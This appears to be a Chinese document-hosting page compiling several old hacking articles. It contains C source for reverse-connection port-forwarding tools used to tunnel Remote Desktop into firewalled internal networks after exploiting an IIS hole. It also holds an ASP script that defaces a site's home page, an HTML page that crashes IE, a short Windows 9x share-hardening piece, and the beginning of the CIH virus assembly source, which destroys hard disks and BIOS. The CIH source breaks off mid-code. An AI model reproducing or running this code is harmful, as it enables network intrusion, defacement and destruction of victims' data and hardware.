黑客技术文库_第1页
黑客技术文库_第2页
黑客技术文库_第3页
黑客技术文库_第4页
黑客技术文库_第5页
已阅读5页,还剩86页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

黑客突破TCP-IP过滤/防火墙进入内网eyas现在很多企业或者公司基本上网方式基本上都是申请一条连接到Internet的线路,宽带、DDN、ADSL、ISDN等等,然后用一台服务器做网关,服务器两块网卡,一块是连接到Internet,另一块是连接到内网的HUB或者交换机,然后内网的其他机器就可以通过网关连接到Internet。也许有些人会这样想,我在内网之中,我们之间没有直接的连接,你没有办法攻击我。事实并非如此,在内网的机器同样可能遭受到来自Internet的攻击,当然前提是攻击者已经取得网关服务器的某些权限,呵呵,这是不是废话?其实,Internet上很多做网关的服务器并未经过严格的安全配置,要获取权限也不是想象中的那么难。Ok!废话就不说了,切入正题。我们的目标是用我们的TermClient[M$终端服务客户端]连接到敌人内网的TermServer机器。M$的终端服务是一个很好的远程管理工具,不是吗?呵呵。没有做特别说明的话,文中提到的服务器OS都为windows2000。服务器为Linux或其他的话,原理也差不多,把程序稍微修改就行了。<<第一部分:利用TCPsocket数据转发进入没有防火墙保护的内网>>假设敌人网络拓扑如下图所示,没有安装防火墙或在网关服务器上做TCP/IP限制。我们的目标是连接上敌人内网的TerminalServer[],因为没有办法直接和他建立连接,那么只有先从它的网关服务器上下手了。假如敌人网关服务器是M$的windows2k,IIS有Unicode漏洞[现在要找些有漏洞的机器太容易了,但我只是scriptskid,只会利用现成的漏洞做些简单的攻击:(555),那么我们就得到一个网关的shell了,我们可以在那上面运行我们的程序,虽然权限很低,但也可以做很多事情了。Ok!让我们来写一个做TCPsocket数据转发的小程序,让敌人的网关服务器忠实的为我[]和敌人内网的TermServer[]之间转发数据。题外话:实际入侵过程是先取得网关服务器的权限,然后用他做跳板,进一步摸清它的内部网络拓扑结构,再做进一步的入侵,现在敌人的网络拓扑是我们给他设计的,哈哈。攻击流程如下:<1>在网关服务器运行我们的程序AgentGateWay,他监听TCP3389端口[改成别的,那我们就要相应的修改TermClient了]等待我们去连接。<2>我们用TermClient连接到:3389。<3>.接受的连接,然后再建立一个TCPsocket连接到自己内网的TermServer[]<4>这样我们和敌人内网的TermServer之间的数据通道就建好了,接下来网关就忠实的为我们转发数据啦。当我们连接到:3389的时候,其实出来的界面是敌人内网的,感觉怎么样?:)程序代码如下:/**********************************************************************ModuleName:AgentGateWay.cDate:2001/4/15CopyRight(c)eyas说明:端口重定向工具,在网关上运行,把端口重定向到内网的IP、PORT,就可以进入内网了sock[0]==>sClientsock[1]==>sTarget**********************************************************************/#include#include#include"TCPDataRedird.c"#defineTargetIPTEXT("")#defineTargetPort(int)3389#defineListenPort(int)3389//监听端口#pragmacomment(lib,"ws2_32.lib")intmain(){WSADATAwsd;SOCKETsListen=INVALID_SOCKET,//本机监听的socketsock[2];structsockaddr_inLocal,Client,Target;intiAddrSize;HANDLEhThreadC2T=NULL,//C2T=ClientToTargethThreadT2C=NULL;//T2C=TargetToClientDWORDdwThreadID;__try{if(WSAStartup(MAKEWORD(2,2),&wsd)!=0){printf("\nWSAStartup()failed:%d",GetLastError());__leave;}sListen=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);if(sListen==INVALID_SOCKET){printf("\nsocket()failed:%d",GetLastError());__leave;}Local.sin_addr.s_addr=htonl(INADDR_ANY);Local.sin_family=AF_INET;Local.sin_port=htons(ListenPort);Target.sin_family=AF_INET;Target.sin_addr.s_addr=inet_addr(TargetIP);Target.sin_port=htons(TargetPort);if(bind(sListen,(structsockaddr*)&Local,sizeof(Local))==SOCKET_ERROR){printf("\nbind()failed:%d",GetLastError());__leave;}if(listen(sListen,1)==SOCKET_ERROR){printf("\nlisten()failed:%d",GetLastError());__leave;}//scoket循环while(1){printf("\n\n*************WaitingClientConnectto**************\n\n");iAddrSize=sizeof(Client);//getsocketsClientsock[0]=accept(sListen,(structsockaddr*)&Client,&iAddrSize);if(sock[0]==INVALID_SOCKET){printf("\naccept()failed:%d",GetLastError());break;}printf("\nAcceptclient==>%s:%d",inet_ntoa(Client.sin_addr),ntohs(Client.sin_port));//createsocketsTargetsock[1]=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);if(sock[1]==INVALID_SOCKET){printf("\nsocket()failed:%d",GetLastError());__leave;}//connecttotargetportif(connect(sock[1],(structsockaddr*)&Target,sizeof(Target))==SOCKET_ERROR){printf("\nconnect()failed:%d",GetLastError());__leave;}printf("\nconnecttotarget3389success!");//创建两个线程进行数据转发hThreadC2T=CreateThread(NULL,0,TCPDataC2T,(LPVOID)sock,0,&dwThreadID);hThreadT2C=CreateThread(NULL,0,TCPDataT2C,(LPVOID)sock,0,&dwThreadID);//等待两个线程结束WaitForSingleObject(hThreadC2T,INFINITE);WaitForSingleObject(hThreadT2C,INFINITE);CloseHandle(hThreadC2T);CloseHandle(hThreadT2C);closesocket(sock[1]);closesocket(sock[0]);printf("\n\n*****************ConnectionClose*******************\n\n");}//endofsock外循环}//endoftry__finally{if(sListen!=INVALID_SOCKET)closesocket(sListen);if(sock[0]!=INVALID_SOCKET)closesocket(sock[0]);if(sock[1]!=INVALID_SOCKET)closesocket(sock[1]);if(hThreadC2T!=NULL)CloseHandle(hThreadC2T);if(hThreadT2C!=NULL)CloseHandle(hThreadT2C);WSACleanup();}return0;}/*************************************************************************Module:TCPDataRedird.cDate:2001/4/16CopyRight(c)eyasHomePage:Thankstoshotgun说明:TCPsocket数据转发,sock[0]==>sClientsock[1]==>sTarget*************************************************************************/#defineBuffSize20*1024//缓冲区大小20k//此函数负责从Client读取数据,然后转发给TargetDWORDWINAPITCPDataC2T(SOCKET*sock){intiRet,ret=-1,//select返回值iLeft,idx,iSTTBCS=0;//STTBCS=SendToTargetBuffCurrentSizecharszSendToTargetBuff[BuffSize]={0},szRecvFromClientBuff[BuffSize]={0};fd_setfdread,fdwrite;printf("\n\n*****************ConnectionActive*******************\n\n");while(1){FD_ZERO(&fdread);FD_ZERO(&fdwrite);FD_SET(sock[0],&fdread);FD_SET(sock[1],&fdwrite);if((ret=select(0,&fdread,&fdwrite,NULL,NULL))==SOCKET_ERROR){printf("\nselect()failed:%d",GetLastError());break;}//printf("\nselect()returnvalueret=%d",ret);if(ret>0){//sClinet可读,client有数据要发送过来if(FD_ISSET(sock[0],&fdread)){//接收sock[0]发送来的数据iRet=recv(sock[0],szRecvFromClientBuff,BuffSize,0);if(iRet==SOCKET_ERROR){printf("\nrecv()fromsock[0]failed:%d",GetLastError());break;}elseif(iRet==0)break;printf("\nrecv%dbytesfromsClinet.",iRet);//把从client接收到的数据存添加到发往target的缓冲区memcpy(szSendToTargetBuff+iSTTBCS,szRecvFromClientBuff,iRet);//刷新发往target的数据缓冲区当前buff大小iSTTBCS+=iRet;//清空接收client数据的缓冲区memset(szRecvFromClientBuff,0,BuffSize);}//sTarget可写,把从client接收到的数据发送到targetif(FD_ISSET(sock[1],&fdwrite)){//转发数据到target的3389端口iLeft=iSTTBCS;idx=0;while(iLeft>0){iRet=send(sock[1],&szSendToTargetBuff[idx],iLeft,0);if(iRet==SOCKET_ERROR){printf("\nsend()totargetfailed:%d",GetLastError());break;}printf("\nsend%dbytestotarget",iRet);iLeft-=iRet;idx+=iRet;}//清空缓冲区memset(szSendToTargetBuff,0,BuffSize);//重置发往target的数据缓冲区当前buff大小iSTTBCS=0;}}//endofselectretSleep(1);}//endofdatasend&recv循环return0;}//此函数负责从target读取数据,然后发送给clientDWORDWINAPITCPDataT2C(SOCKET*sock){intiRet,ret=-1,//select返回值iLeft,idx,iSTCBCS=0;//STCBCS=SendToClientBuffCurrentSizecharszRecvFromTargetBuff[BuffSize]={0},szSendToClientBuff[BuffSize]={0};fd_setfdread,fdwrite;while(1){FD_ZERO(&fdread);FD_ZERO(&fdwrite);FD_SET(sock[0],&fdwrite);FD_SET(sock[1],&fdread);if((ret=select(0,&fdread,&fdwrite,NULL,NULL))==SOCKET_ERROR){printf("\nselect()failed:%d",GetLastError());break;}if(ret>0){//sTarget可读,从target接收数据if(FD_ISSET(sock[1],&fdread)){//接收target返回数据iRet=recv(sock[1],szRecvFromTargetBuff,BuffSize,0);if(iRet==SOCKET_ERROR){printf("\nrecv()fromtargetfailed:%d",GetLastError());break;}elseif(iRet==0)break;printf("\nrecv%dbytesfromtarget",iRet);//把从target接收到的数据添加到发送到client的缓冲区memcpy(szSendToClientBuff+iSTCBCS,szRecvFromTargetBuff,iRet);//清空接收target返回数据缓冲区memset(szRecvFromTargetBuff,0,BuffSize);//刷新发送到client的数据缓冲区当前大小iSTCBCS+=iRet;}//client可写,发送target返回数据到clientif(FD_ISSET(sock[0],&fdwrite)){//发送target返回数据到clientiLeft=iSTCBCS;idx=0;while(iLeft>0){iRet=send(sock[0],&szSendToClientBuff[idx],iLeft,0);if(iRet==SOCKET_ERROR){printf("\nsend()toClientfailed:%d",GetLastError());break;}printf("\nsend%dbytestoClient",iRet);iLeft-=iRet;idx+=iRet;}//清空缓冲区memset(szSendToClientBuff,0,BuffSize);iSTCBCS=0;}}//endofselectretSleep(1);}//endofwhilereturn0;}(利用TCPsocket转发和反弹TCP端口进入有防火墙保护的内网)事实上很多内网没有第一部分所说的那么简单啦,我们来看一个有防火墙保护的内网,前提是这个防火墙对反弹TCP端口不做限制,限制了的话,又另当别论了。假设网络拓扑如下:上面的网络拓扑是我在一次对朋友公司网站授权入侵过程中遇到的。〈1〉我自己处于公司内网,通过公司网关到Internet,但我是网关的admin:)。〈2〉敌人[其实是friend啦]的网关OS是2kadvserver,在外网网卡上做了TCP/IP限制,只开放了25,53,80,110,3306这几个TCPPORT,通过一个漏洞,我得到了一个shell,可以通过IE来执行系统命令,虽然权限很低。网关有终端服务,登陆验证漏洞补丁未安装,但输入法帮助文件已经被删除了,但是我们可以通过shell把输入法帮助文件upload上去,因为他的系统权限没有设置好,我们可以写,呵呵。这样的话,我们只要能够连接到他的终端服务上去,我们就能绕过登陆验证,得到admin权限了。如何连接?有办法,用TCPsocket转发。和第一部分说的一样吗?有些不同。因为他做了TCP/IP限制,我们不能连接他,只能让他来连接我们了,TCP反弹端口,呵呵。攻击流程如下:〈1〉在我的服务器运行AgentMaster,监听TCPPORT12345,等待来连接,监听TCPPORT3389,等待我连接。〈2〉在敌人网关机器运行AgentSlave,连接到TCPPORT12345[注意:是反弹端口,TCP/IP过滤也拿他没办法]〈3〉我自己用TermClient连接到自己的服务器:3389〈4〉敌人网关上的AgentSlave连接到自己本身在内网的IP==〉:3389〈5〉数据通道就建立好啦。两个代理忠实的为我们转发数据,呵呵。当我们连接自己服务器的3389,其实出来的是敌人内网的某台机器,呵呵。后来发现敌人的主域控制器是,通过前面与他网关建立的连接,利用一个漏洞轻易的取得主域的admin权限,呵呵。他可能认为主域在内网,网关又做了TCP/IP过滤,攻击者没有办法进入。我只要把AgentSlave设置为连接:3389,以后就可以直接连接他的主域控制器啦,不过在网关登陆也一样。程序代码如下[程序中所用到的TCPDataRedird.c已经贴在第一部分,那个文件做数据转发,通用的:/******************************************************************************ModuleName:AgentMaster.cDate:2001/4/16CopyRight(c)eyas说明:scoket代理主控端,负责监听两个TCPsocket,等待攻击者和AgentSlave来连接,两个scoket都连接成功后,开始转发数据sock[0]是client==〉sock[0]sock[1]是target==〉sock[1]******************************************************************************/#include〈stdio.h〉#include〈winsock2.h〉#include"TCPDataRedird.c"#pragmacomment(lib,"ws2_32.lib")#defineTargetPort3389//伪装的target的监听端口#defineLocalPort12345//等待AgentSlave来connect的端口intmain(){WSADATAwsd;SOCKETs3389=INVALID_SOCKET,//本机监听的socket,等待攻击者连接s1981=INVALID_SOCKET,//监听的socket,等待AgentSlave来连接sock[2]={INVALID_SOCKET,INVALID_SOCKET};structsockaddr_inLocal3389,Local1981,Attack,Slave;intiAddrSize;HANDLEhThreadC2T=NULL,//C2T=ClientToTargethThreadT2C=NULL;//T2C=TargetToClientDWORDdwThreadID;__try{//loadwinsocklibraryif(WSAStartup(MAKEWORD(2,2),&wsd)!=0){printf("\nWSAStartup()failed:%d",GetLastError());__leave;}//createsockets3389=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);if(s3389==INVALID_SOCKET){printf("\nsocket()failed:%d",GetLastError());__leave;}//createsockets1981=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);if(s1981==INVALID_SOCKET){printf("\nsocket()failed:%d",GetLastError());__leave;}//fillthestructLocal3389.sin_addr.s_addr=htonl(INADDR_ANY);Local3389.sin_family=AF_INET;Local3389.sin_port=htons(TargetPort);Local1981.sin_addr.s_addr=htonl(INADDR_ANY);Local1981.sin_family=AF_INET;Local1981.sin_port=htons(LocalPort);//binds3389forattackerif(bind(s3389,(structsockaddr*)&Local3389,sizeof(Local3389))==SOCKET_ERROR){printf("\nbind()failed:%d",GetLastError());__leave;}//listenforattackertoconnectif(listen(s3389,1)==SOCKET_ERROR){printf("\nlisten()failed:%d",GetLastError());__leave;}//binds1981forAgentSlaveif(bind(s1981,(structsockaddr*)&Local1981,sizeof(Local1981))==SOCKET_ERROR){printf("\nbind()failed:%d",GetLastError());__leave;}//listenforAgentSlavetoconnectif(listen(s1981,1)==SOCKET_ERROR){printf("\nlisten()failed:%d",GetLastError());__leave;}//socket循环while(1){//waitforAgentSlavetoconnectiAddrSize=sizeof(Slave);sock[1]=accept(s1981,(structsockaddr*)&Slave,&iAddrSize);if(sock[1]==INVALID_SOCKET){printf("\naccept()failed:%d",GetLastError());break;}printf("\nAcceptAgentSlave==〉%s:%d",inet_ntoa(Slave.sin_addr),ntohs(Slave.sin_port));//waitforAttackertoconnectiAddrSize=sizeof(Attack);sock[0]=accept(s3389,(structsockaddr*)&Attack,&iAddrSize);if(sock[0]==INVALID_SOCKET){printf("\naccept()failed:%d",GetLastError());break;}printf("\nAcceptAttacker==〉%s:%d",inet_ntoa(Attack.sin_addr),ntohs(Attack.sin_port));//创建两个线程进行数据转发hThreadC2T=CreateThread(NULL,0,TCPDataC2T,(LPVOID)sock,0,&dwThreadID);hThreadT2C=CreateThread(NULL,0,TCPDataT2C,(LPVOID)sock,0,&dwThreadID);//等待两个线程结束WaitForSingleObject(hThreadC2T,INFINITE);CloseHandle(hThreadC2T);CloseHandle(hThreadT2C);closesocket(sock[0]);closesocket(sock[1]);}//endofsocketwhile}//endoftry__finally{//cleanallif(s3389!=INVALID_SOCKET)closesocket(s3389);if(s1981!=INVALID_SOCKET)closesocket(s1981);if(sock[0]!=INVALID_SOCKET)closesocket(sock[0]);if(sock[1]!=INVALID_SOCKET)closesocket(sock[1]);if(hThreadC2T!=NULL)CloseHandle(hThreadC2T);if(hThreadT2C!=NULL)CloseHandle(hThreadT2C);WSACleanup();}return0;}/***********************************************************************************Module:AgentSlave.cDate:2001/4/17Copyright(c)eyasHomePage:说明:这个程序负责连接最终目标,连接主控端,然后转发数据这里连接到AgenrMaster的socket相当与sClient==〉sock[0],连接到最终目标的socoket是sTarget==〉sock[1]***********************************************************************************/#include〈stdio.h〉#include〈winsock2.h〉#include"TCPDataRedird.c"#pragmacomment(lib,"ws2_32.lib")#defineTargetIP""#defineTargetPort(int)3389#defineAgentMasterIP""#defineAgentMasterPort(int)12345intmain(){WSADATAwsd;SOCKETsock[2]={INVALID_SOCKET,INVALID_SOCKET};structsockaddr_inMaster,Target;HANDLEhThreadC2T=NULL,//C2T=ClientToTargethThreadT2C=NULL;//T2C=TargetToClientDWORDdwThreadID;__try{//loadwinsocklibraryif(WSAStartup(MAKEWORD(2,2),&wsd)!=0){printf("\nWSAStartup()failed:%d",GetLastError());__leave;}//循环while(1){//createclientsocketsock[0]=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);if(sock[0]==INVALID_SOCKET){printf("\nsocket()failed:%d",GetLastError());__leave;}//createtargetsocketsock[1]=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);if(sock[1]==INVALID_SOCKET){printf("\nsocket()failed:%d",GetLastError());__leave;}//fillstructTarget.sin_family=AF_INET;Target.sin_addr.s_addr=inet_addr(TargetIP);Target.sin_port=htons(TargetPort);Master.sin_family=AF_INET;Master.sin_addr.s_addr=inet_addr(AgentMasterIP);Master.sin_port=htons(AgentMasterPort);//connecttoAgentMasterif(connect(sock[0],(structsockaddr*)&Master,sizeof(Master))==SOCKET_ERROR){//连接失败后,等待一会儿再连printf("\nconnect()tomasterfailed:%d",GetLastError());closesocket(sock[0]);closesocket(sock[1]);Sleep(5000);continue;}printf("\nconnectto%s%dsuccess!",AgentMasterIP,AgentMasterPort);//connecttotargetif(connect(sock[1],(structsockaddr*)&Target,sizeof(Target))==SOCKET_ERROR){printf("\nconnect()totargetfailed:%d",GetLastError());__leave;}printf("\nconnectto%s%dsuccess!",TargetIP,TargetPort);//创建两个线程进行数据转发hThreadC2T=CreateThread(NULL,0,TCPDataC2T,(LPVOID)sock,0,&dwThreadID);hThreadT2C=CreateThread(NULL,0,TCPDataT2C,(LPVOID)sock,0,&dwThreadID);//等待两个线程结束WaitForSingleObject(hThreadC2T,INFINITE);CloseHandle(hThreadC2T);CloseHandle(hThreadT2C);closesocket(sock[0]);closesocket(sock[1]);}//endofwhile}//endoftry__finally{if(sock[0]!=INVALID_SOCKET)closesocket(sock[0]);if(sock[1]!=INVALID_SOCKET)closesocket(sock[1]);if(hThreadC2T!=NULL)CloseHandle(hThreadC2T);if(hThreadT2C!=NULL)CloseHandle(hThreadT2C);WSACleanup();}return0;}如何防止Windows远程共享漏洞苗得雨在我们的家庭生活和在处理普通办公与事物的时候,我们的计算机用户接触和使用的大多数系统基本都是Windows9x或者是WindowsME系列的产品,这类产品以其强大的易用性和家庭娱乐办公性方便,深得广大的普通计算机用户和办公人员的喜爱。Windows9x系列和其后续产品的易用性是我们必须承认的的,但是我们也必须意识到Windows9x系列产品比起它的同胞兄弟WindowsNT和Windows2000来说,无论是稳定性还是安全性都差了许多,而且从许多的事例上我们也可以看出,Microsoft在设计Windows9x系列时,为了突出它的娱乐功能和易用性牺牲了Windows9x系列产品的安全性。这些对于那些处在安全敏感位置或者是对安全要求严格的家庭终端用户来说无疑是最可怕的一件事情了。更糟糕的是我们很多用户在使用windows9x系统的时候往往不会注意它的设置和配置等与安全相关的问题,我们有时候会出现在不慎中选择了不安全的密码。或者是在某一个时刻,为一个恶意的攻击者在我们的网络上提供了一个能够让他进出自由的后门,这都大大地使我们在网络中的计算机时刻的处于危险之中。远程共享漏洞Windows9X操作系统作为最大众化的操作系统,以其的方便易用而成为多数电脑用户的首选。虽然微软声称Windows9X达到了C2的安全级别,但是Windows9X真的如我们想象的那么的安全吗?下面就让我们一起拨开它的层层伪装。Windows9X共享资源是Windows9X最致命且最容易受到攻击的漏洞。众所周知在Windows9X中提供了三个直接访问远程系统的方式:文件和打印共享、拨号服务器和远程修改注册表。作为远程访问注册表需要比较高级的设置,而且在外部网中很难实现,所以黑客们在攻击个人用户的时候就首选了攻击Windows9X文件和打印共享。在Windows9X系统中,特别是在许多的政府企业部门,共享文件与打印机都是基本的功能,这也就使得那些黑客不费吹灰之力就轻而易举的拿到他们想要的东西。作为狡诈的黑客们,他们通常会利用使用最佳小巧的工具对网段扫描,而在众多的工具中Legion和Shed都是很优秀的作品,不过我更加钟情于Shed,首选他是中国人开发的,而且方便易用,不会像Legion一样还需要安装。下载完Shed我们双击就可以打开,然后在以下的位置填写上IP地址段就可以了。让我们看看我们都能扫描到什么。东西不少啊,双击找到的目标之后黑客们就可以如同使用本机上我的电脑一样打开那些秘密文件,如此简单,如果他们高兴的话他还会使用你的打印机,会删除篡改你的文件……太可怕了,那么如何制止这一切哪?其实方法也是很简单的,首先我们可以把机器上不用的共享文件属性关闭。当然如果网管有很多这样的计算机,也可以利用系统的策略编辑器poledit.exe对所有计算机的共享进行关闭。当然我们在共享属性文件名后面加一个$也可以制止这种漏洞让你的计算机避免出现在外人的网络邻居中。因为过复杂的字符往往会让netview命令输出与Legion的扫描失效。在Windows系统中,还有一个令人烦恼的漏洞,这就蓝屏炸弹。蓝屏炸弹主要是根据Windows9X操作系统的一个类似于请求溢出的漏洞将目标计算机蓝屏死机,对付这种炸弹最有效的方法是安装Windows系统的补丁,或者使用防火墙。笔者将在以后的文章中详细介绍个人防火墙的设置。微软IE5.5以上版本的bug昨天,在调试程序的时候,偶然发现IE5.5的一个bug假如我们建立一个print.htm页面,内容如下:<html><bodyonbeforeprint="document.write('Something');"><script>window.print();</script></body></html>当IE5.5以上版本在浏览这个页面的时候,会导致IE崩溃。初步分析是IE的打印准备工作的处理先后顺序有问题,导致指针违规访问。这个bug可以允许服务器端攻击客户端。我当即发信给微软的安全部门,他们的答复大致如下:“我们认为导致一个应用程序崩溃的方法很多,只有导致系统完全崩溃或者能控制的溢出我们才认为是安全漏洞”呵呵,很像微软的风格测试的结果是,IE5.5IE6.0都有这个问题PatchingHeroes中华补天IIS的一个重要漏洞这是IIS的一个非常严重的漏洞,即使是IIS4.0,仍然没有补上这个漏洞:你建立这样一个简单的asp程序:write.asp<%SetfsMad=CreateObject("Scripting.FileSystemObject")SetfileMad=fsMad.CreateTextFile("c:\inetpub\wwwroot\index.htm")htmlstr="<html><head><title></title></head><bodybgcolor="&"'"&"#000000"&"'"&"><p><fontcolor="&"'"&"#FF0000"&"'"&"><p>Thepagewashackedbychinafire!</p></body></html>"fileMad.write(htmlstr)fileMad.close%>注意,上述程序不能更改换行!然后上传到任何一个web目录中(允许脚本执行),如:/frankie/write.asp然后在浏览器中输入该地址这样,将替换首页!红字黑底,显示:Thepagewashackedbychinafire!解决方案:目前还没有安全建议:重要设置严格的访问权限,尽量减少允许执行脚本的程序CIH源码;****************************************************************************;*TheVirusProgramInformation*;****************************************************************************;**;*Designer:CIHSource:TTITofTATUNGinTaiwan*;*CreateDate:04/26/1998NowVersion:1.4*;*ModificationTime:05/31/1998*;**;*TurboAssemblerVersion4.0:tasm/mcih*;*TurboLinkVersion3.01:tlink/3/tcih,cih.exe*;**:*==========================================================================*:*ModificationHistory*;*==========================================================================*;*v1.01.CreatetheVirusProgram.*;*2.TheVirusModifiesIDTtoGetRing0Privilege.*;*04/26/19983.VirusCodedoesn'tReloadintoSystem.*;*4.CallIFSMgr_InstallFileSystemApiHooktoHookFileSystem.*;*5.ModifiesEntryPointofIFSMgr_InstallFileSystemApiHook.*;*6.WhenSystemOpensExistingPEFile,theFilewillbe*;*Infected,andtheFiledoesn'tbeReinfected.*;*7.ItisalsoInfected,eventheFileisRead-Only.*;*8.WhentheFileisInfected,theModificationDateandTime*;*oftheFilealsodon'tbeChanged.*;*9.WhenMyVirusUsesIFSMgr_Ring0_FileIO,itwillnotCall*;*PreviousFileSystemApiHook,itwillCalltheFunction*;*thattheIFSManagerWouldNormallyCalltoImplement*;*thisParticularI/ORequest.*;*10.TheVirusSizeisonly656Bytes.*;*==========================================================================*;*v1.11.Especially,theFilethatbeInfectedwillnotIncrease*;*it'sSize...^__^*;*05/15/19982.HookandModifyStructuredExceptionHanding.*;*WhenExceptionErrorOccurs,OurOSSystemshouldbein*;*WindowsNT.SoMyCuteViruswillnotContinuetoRun,*;*itwillJmuptoOriginalApplicationtoRun.*;*3.UseBetterAlgorithm,ReduceVirusCodeSize.*;*4.TheVirus"Basic"Sizeisonly796Bytes.*;*==========================================================================*;*v1.21.KillAllHardDisk,andBIOS...Super...Killer...*;*2.ModifytheBugofv1.1*;*05/21/19983.TheVirus"Basic"Sizeis1003Bytes.*;*==========================================================================*;*v1.31.ModifytheBugthatWinZipSelf-ExtractorOccursError.*;*SoWhenOpenWinZipSelf-Extractor==>Don'tInfectit.*;*05/24/19982.TheVirus"Basic"Sizeis1010Bytes.*;*==========================================================================*;*v1.41.FullModifytheBug:WinZipSelf-ExtractorOccursError.*;*2.ChangetheDateofKillingComputers.*;*05/31/19983.ModifyVirusVersionCopyright.*;*4.TheVirus"Basic"Sizeis1019Bytes.*;****************************************************************************.586P;586;****************************************************************************;*OriginalPEExecutableFile(Don'tModifythisSection)*;****************************************************************************OriginalAppEXESEGMENTFileHeader:db04dh,05ah,090h,000h,003h,000h,000h,000hdb004h,000h,000h,000h,0ffh,0ffh,000h,000hdb0b8h,000h,000h,000h,000h,000h,000h,000hdb040h,000h,000h,000h,000h,000h,000h,000hdb000h,000h,000h,000h,000h,000h,000h,000hdb000h,000h,000h,000h,000h,000h,000h,000hdb000h,000h,000h,000h,000h,000h,000h,000hdb000h,000h,000h,000h,080h,000h,000h,000hdb00eh,01fh,0bah,00eh,000h,0b4h,009h,0cdhdb021h,0b8h,001h,04ch,0cdh,021h,054h,068hdb069h,073h,020h,070h,072h,06fh,067h,072hdb061h,06dh,020h,063h,061h,06eh,06eh,06fhdb074h,020h,062h,065h,020h,072h,075h,06ehdb020h,069h,06eh,020h,044h,04fh,053h,020hdb06dh,06fh,064h,065h,02eh,00dh,00dh,00ahdb024h,000h,000h,000h,000h,000h,000h,000hdb050h,045h,000h,000h,04ch,001h,001h,000hdb0f1h,068h,020h,035h,000h,000h,000h,000hdb000h,000h,000h,000h,0e0h,000h,00fh,001hdb00bh,001h,005h,000h,000h,010h,000h,000hdb000h,000h,000h,000h,000h,000h,000h,000hdb010h,010h,000h,000h,000h,010h,000h,000hdb000h,020h,000h,000h,000h,000h,040h,000hdb000h,010h,000h,000h,000h,002h,000h,000hdb004h,000h,000h,000h,000h,000h,000h,000hdb004h,000h,000h,000h,000h,000h,000h,000hdb000h,020h,000h,000h,000h,002h,000h,000hdb000h,000h,000h,000h,002h,000h,000h,000hdb000h,000h,010h,000h,000h,010h,000h,000hdb000h,000h,010h,000h,000h,010h,000h,000hdb000h,000h,000h,000h,010h,000h,000h,000hdb000h,000h,000h,000h,000h,000h,000h,000hdb000h,000h,000h,000h,000h,000h,000h,000hdb000h,000h,000h,000h,000h,000h,000h,000hdb000h,000h,000h,000h,000h,000h,000h,000hdb000h,000h,000h,000h,000h,000h,000h,000hdb000h,000h,000h,000h,000h,000h,000h,000hdb000h,000h,000h,000h,000h,000h,000h,000hdb000h,000h,000h,000h,000h,000h,000h,000hdb000h,000h,000h,000h,000h,000h,000h,000hdb000h,000h,000h,000h,000h,000h,000h,000hdb000h,000h,000h,000h,000h,000h,000h,000hdb000h,000h,000h,000h,000h,000h,000h,000hdb000h,000h,000h,000h,000h,000h,000h,000hdb000h,000h,000h,000h,000h,000h,000h,000hdb000h,000h,000h,000h,000h,000h,000h,000hdb000h,000h,000h,000h,000h,000h,000h,000hdb02eh,074h,065h,078h,074h,000h,000h,000hdb000h,010h,000h,000h,000h,010h,000h,000hdb000h,010h,000h,000h,000h,002h,000h,000hdb000h,000h,000h,000h,000h,000h,000h,000hdb000h,000h,000h,000h,020h,000h,000h,060hdb000h,000h,000h,000h,000h,000h,000h,000hdb000h,000h,000h,000h,000h,000h,000h,000hdb000h,000h,000h,000h,000h,000h,000h,000hdb000h,000h,000h,000h,000h,000h,000h,000hdb000h,000h,000h,000h,000h,000h,000h,000hdb000h,000h,000h,000h,000h,000h,000h,000hdb000h,000h,000h,000h,000h,000h,000h,000hdb000h,000h,000h,000h,000h,000h,000h,000hdb000h,000h,000h,000h,000h,000h,000h,000hdb000h,000h,000h,000h,000h,000h,000h,000hdb000h,000h,000h,000h,000h,000h,000h,000hdb000h,000h,000h,000h,000h,000h,000h,000hdb0c3h,000h,000h,000h,000h,000h,000h,000hdd00000000h,VirusSizeOriginalAppEXEENDS;****************************************************************************;*MyVirusGame*;****************************************************************************;*********************************************************;*ConstantDefine*;*********************************************************TRUE=1FALSE=0DEBUG=FALSEMajorVirusVersion=1MinorVirusVersion=4VirusVersion=MajorVirusVersion*10h+MinorVirusVersionIFDEBUG;FirstKillHardDiskNumber=81h;KILL“d:”HookExceptionNumber=05h;pr#5ELSEFirstKillHardDiskNumber=80h;KILL“c:”HookExceptionNumber=03hr#3ENDIFFileNameBufferSize=7fh;*********************************************************;*********************************************************VirusGameSEGMENTASSUMECS:VirusGame,DS:VirusGame,SS:VirusGameASSUMEES:VirusGame,FS:VirusGame,GS:VirusGame;*********************************************************;*Ring3VirusGameInitialProgram*;*********************************************************MyVirusStart:pushebp;*************************************;*Let'sModifyStructuredException*;*Handing,PreventExceptionError*;*Occurrence,EspeciallyinNT.*;*************************************leaeax,[esp-04h*2]xorebx,ebxxchgeax,fs:[ebx]call@0@0:popebxleaecx,StopToRunVirusCode-@0[ebx]pushecxpusheax;*************************************;*Let'sModify*;*IDT(InterruptDescriptorTable)*;*toGetRing0Privilege...*;*************************************pusheaxsidt[esp-02h];GetIDTBaseAddress?;popebxaddebx,HookExceptionNumber*08h+04h;ZF=0climovebp,[ebx];GetExceptionBasemovbp,[ebx-04h];EntryPoint?;leaesi,MyExceptionHook-@1[ecx]pushesi?;esimov[ebx-04h],sishresi,16;ModifyExceptionmov[ebx+02h],si;EntryPointAddresspopesi;*************************************;*GenerateExceptiontoGetRing0*;*************************************intHookExceptionNumber;GenerateException;ReturnAddressOfEndException=$;*************************************;*MergeAllVirusCodeSection*;*************************************pushesimovesi,eax;esiLoopOfMergeAllVirusCodeSection:movecx,[eax-04h]repmovsbsubeax,08hmovesi,[eax]oresi,esijzQuitLoopOfMergeAllVirusCodeSectionjmpLoopOfMergeAllVirusCodeSectionQuitLoopOfMergeAllVirusCodeSection:popesi;*************************************;*GenerateExceptionAgain*;*************************************intHookExceptionNumber;GenerateExceptionAga;*************************************;*Let'sRestore*;*StructuredExceptionHanding*;*************************************ReadyRestoreSE:sti;开中断xorebx,ebxjmpRestoreSE;*************************************;*WhenExceptionErrorOccurs,*;*OurOSSystemshouldbeinNT.*;*SoMyCuteViruswillnot*;*ContinuetoRun,itJmupsto*;*OriginalApplicationtoRun.*;*************************************StopToRunVi